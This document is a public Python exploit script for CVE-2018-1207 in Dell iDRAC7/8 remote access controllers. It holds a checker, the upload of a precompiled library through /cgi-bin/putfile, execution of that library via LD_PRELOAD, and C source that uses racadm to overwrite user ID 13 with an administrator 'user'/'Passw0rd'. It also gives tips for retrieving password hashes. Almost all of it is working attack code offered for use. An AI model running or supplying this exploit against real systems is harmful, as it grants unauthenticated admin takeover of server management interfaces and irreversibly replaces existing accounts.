# Exploit Title: Dell EMC iDRAC7/iDRAC8 2.52.52.52 - Remote Code Execution (RCE)
via file upload
# Date: 2024-08-28
# Exploit Author: Photubias
# Vendor Homepage: https://dell.com
# Vendor Advisory: [1] https://dl.dell.com/manuals/all-products/esuprt_solutions_int/esuprt_solutions_int_solutions_resources/dell-management-solution-resources_White-Papers6_en-us.pdf
# Version: integrated Dell Remote Access Console v7 & v8 < 2.52.52.52
# Tested on: iDRAC 7 & 8
# CVE: CVE-2018-1207
r'''
Copyright 2024 Photubias(c)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
File name CVE-2018-1207.py
written by Photubias
CVE-2018-1207 is an unauthenticated file upload and
so library execution vulnerability on the HTTPS web interface.
This exploit contains a checker and a builtin exploit to add a webuser for remote admin access
# Manual verification example, if libraries are returned, the target is vulnerable:
# curl -ik "http://192.168.1.100//cgi-bin/login?LD_DEBUG=files"
Feel free to scan your network via the iDRAC fingerprinter to find vulnerable systems:
https://github.com/tijldeneut/Security/blob/master/iDRAC-fingerprinter.py
This is a native implementation, written in Python 3 and only requires requests (pip3 install requests)
Works equally well on Windows as Linux (as MacOS, probably ;-)
Features: vulnerability checker + exploit
WARNING: The built-in payload is precompiled and does this:
- Configure USER ID 13 with username 'user', password 'Passw0rd' and as an iDRAC webadmin
- Any user that might be at ID 13 will be overridden and is unrecoverable
- TIP1: use racadm for command line access after exploitation (also uses TCP/443)
- TIP2: use racadm to retrieve user hash with command: racadm -r <ip> -u user -p Passw0rd get iDRAC.Users.2
'''
import requests, optparse, base64, struct, time
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
requests.warnings.filterwarnings('ignore', category=DeprecationWarning)
iTimeout = 10
sPayloadCode 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#> For the source code of this pre-compiled C code, see below
## Main program
class CustomHTTPAdapter(requests.adapters.HTTPAdapter):
def init_poolmanager(self, *args, **kwargs):
context = requests.ssl.create_default_context()
context.set_ciphers('ALL:@SECLEVEL=0')
context.check_hostname = False
context.minimum_version = requests.ssl.TLSVersion.SSLv3
super().init_poolmanager(*args, **kwargs, ssl_context=context)
def callURL(sURL, oSession, bData=None, lstProxies={}, boolVerbose=False):
try:
if bData: oResponse = oSession.post(sURL, data=bData, proxies=lstProxies, verify=False) ## Removed timeout here, as it may take a long time to upload files
else: oResponse = oSession.get(sURL, proxies=lstProxies, verify=False, timeout = iTimeout)
except: oResponse = None
return oResponse
def checkVuln(sIP, oSession, lstProxies={}, boolVerbose=False):
oResponse = callURL(f'https://{sIP}/cgi-bin/login?LD_DEBUG=files', oSession, lstProxies = lstProxies)
if not oResponse is None and 'calling init: /lib/' in oResponse.text:
if boolVerbose:
print('[*] Data returned: ')
print(oResponse.text)
return True
return False
def uploadAndRunLibrary(bData, oSession, sIP, lstProxies, boolVerbose=False):
iFFLAGS = 1
bFAlias = b'RACPKSSHAUTHKEY1'
bLib = bFAlias + (32 - len(bFAlias))*b'\0'
bLib += struct.pack('<L', len(bData))
bLib += struct.pack('<L', iFFLAGS)
bLib += bData
oResp = callURL(f'https://{sIP}/cgi-bin/putfile', oSession, bLib, lstProxies, boolVerbose)
if not oResp is None and oResp.status_code == 200:
print('[+] File upload successful, giving the system 5 seconds before execution')
for i in range(5,0,-1):
print(i, end='\r')
time.sleep(1)
else:
print('[-] Error uploading a file, maybe timeout issue, exiting now')
exit()
oResp = callURL(f'https://{sIP}/cgi-bin/discover?LD_PRELOAD=/tmp/sshpkauthupload.tmp', oSession, None, lstProxies, boolVerbose)
if not oResp is None and oResp.status_code == 200:
if boolVerbose: print('[+] Response on executing the library: \n{}'.format(oResp.text))
else:
print('[-] Error executing the library, maybe timeout issue, exiting now')
exit()
return True
def main():
sUsage = (
'usage: %prog [options] IP/FQDN \n'
'Example: CVE-2018-1207.py 192.168.0.100\n\n'
'This script verifies CVE-2018-1207 and then configures/overwrites an admin user with ID 13\n'
'Built-in creds: username \'user\' and password \'Passw0rd\''
)
parser = optparse.OptionParser(usage=sUsage)
parser.add_option('--proxy', '-p', dest='proxy', help='Optional: HTTP proxy to use, e.g. 127.0.0.1:8080')
parser.add_option('--verbose', '-v', dest='verbose', help='Optional: be verbose, default False', action='store_true', default = False)
(options, args) = parser.parse_args()
if len(args) == 0: exit(sUsage)
sIP = args[0]
oSession = requests.Session()
oSession.mount('https://', CustomHTTPAdapter())
if options.proxy: lstProxies = {'https':options.proxy}
else: lstProxies={}
print('[+] Checking if https://{} is vulnerable'.format(sIP))
if checkVuln(sIP, oSession, lstProxies, options.verbose):
print('[+] Success, target seems vulnerable')
input('[?] Proceed to exploit and overwrite user ID 13? Press enter to continue or Ctrl+C to cancel now')
print('[+] Okay, uploading the pre-compiled file now, this might take a while: ')
if uploadAndRunLibrary(base64.b64decode(sPayloadCode), oSession, sIP, lstProxies, options.verbose): print('[+] Succesfully started the reconfiguration of user ID 13')
print('\n[+] All done, please allow 5 to 10 minutes for file execution and then\n open a browser to https://{} and log in (user / Passw0rd)\n or retrieve some hashes via the CLI tool racadm'.format(sIP))
if __name__ == '__main__':
main()
'''
[adduser.c]
#include <unistd.h>
#include <stdio.h>
static void main(void) __attribute__((constructor));
static void main(void)
{
int pid1 = fork();
if(!pid1) {
execlp("racadm", "racadm", "config", "-g", "cfgUserAdmin", "-i", "13", "-o", "cfgUserAdminUserName", "user", (char*) NULL);
}
int pid2 = fork();
if(!pid2) {
execlp("racadm", "racadm", "config", "-g", "cfgUserAdmin", "-i", "13", "-o", "cfgUserAdminPassword", "Passw0rd", (char*) NULL);
}
int pid3 = fork();
if(!pid3) {
execlp("racadm", "racadm", "config", "-g", "cfgUserAdmin", "-i", "13", "-o", "cfgUserAdminPrivilege", "0x000001ff", (char*) NULL);
}
int pid4 = fork();
if(!pid4) {
execlp("racadm", "racadm", "config", "-g", "cfgUserAdmin", "-i", "13", "-o", "cfgUserAdminEnable", "1", (char*) NULL);
}
// Note: it takes 5 to 10 minutes before these 4 commands are executed
}
// Install "gcc-10-sh4-linux-gnu" (or replace gcc-10 with gcc-11 or newer) and compile the code like this:
// sh4-linux-gnu-gcc-10 -shared -fPIC adduser.c -o adduser.so
'''